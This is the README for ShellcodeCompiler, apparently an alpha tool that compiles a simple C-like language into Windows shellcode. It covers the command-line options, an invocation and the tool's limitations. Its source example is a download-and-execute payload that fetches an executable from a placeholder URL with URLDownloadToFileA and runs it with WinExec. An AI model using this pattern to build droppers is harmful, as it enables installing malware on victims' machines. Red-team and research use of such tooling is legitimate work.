ShellcodeCompiler - Shellcode C/C++ Compiler for Windows

Command line options

    -h (--help)      : Show this help message
    -v (--verbose)   : Print detailed output
    -t (--test)      : Test (execute) generated shellcode
    -r (--read)      : Read source code file
    -o (--output)    : Output file of the generated binary shellcode
    -a (--assembbly) : Output file of the generated assembly code

Source code example

    function URLDownloadToFileA("urlmon.dll");
    function WinExec("kernel32.dll");
    function ExitProcess("kernel32.dll");

    URLDownloadToFileA(0,"https://site.com/bk.exe","bk.exe",0,0);
    WinExec("bk.exe",0);
    ExitProcess(0);

Invocation example

    ShellcodeCompiler.exe -r Source.txt -o Shellcode.bin -a Assembly.asm

Limitations

1. It is not possible to use the return value of an API call
2. It is not possible to use pointers or buffers
3. It is not possible to declare variables

All these limitations will be fixed as soon as possible. However, many other limitations will exist. This is an Alpha version. Please report any bugs or suggestions.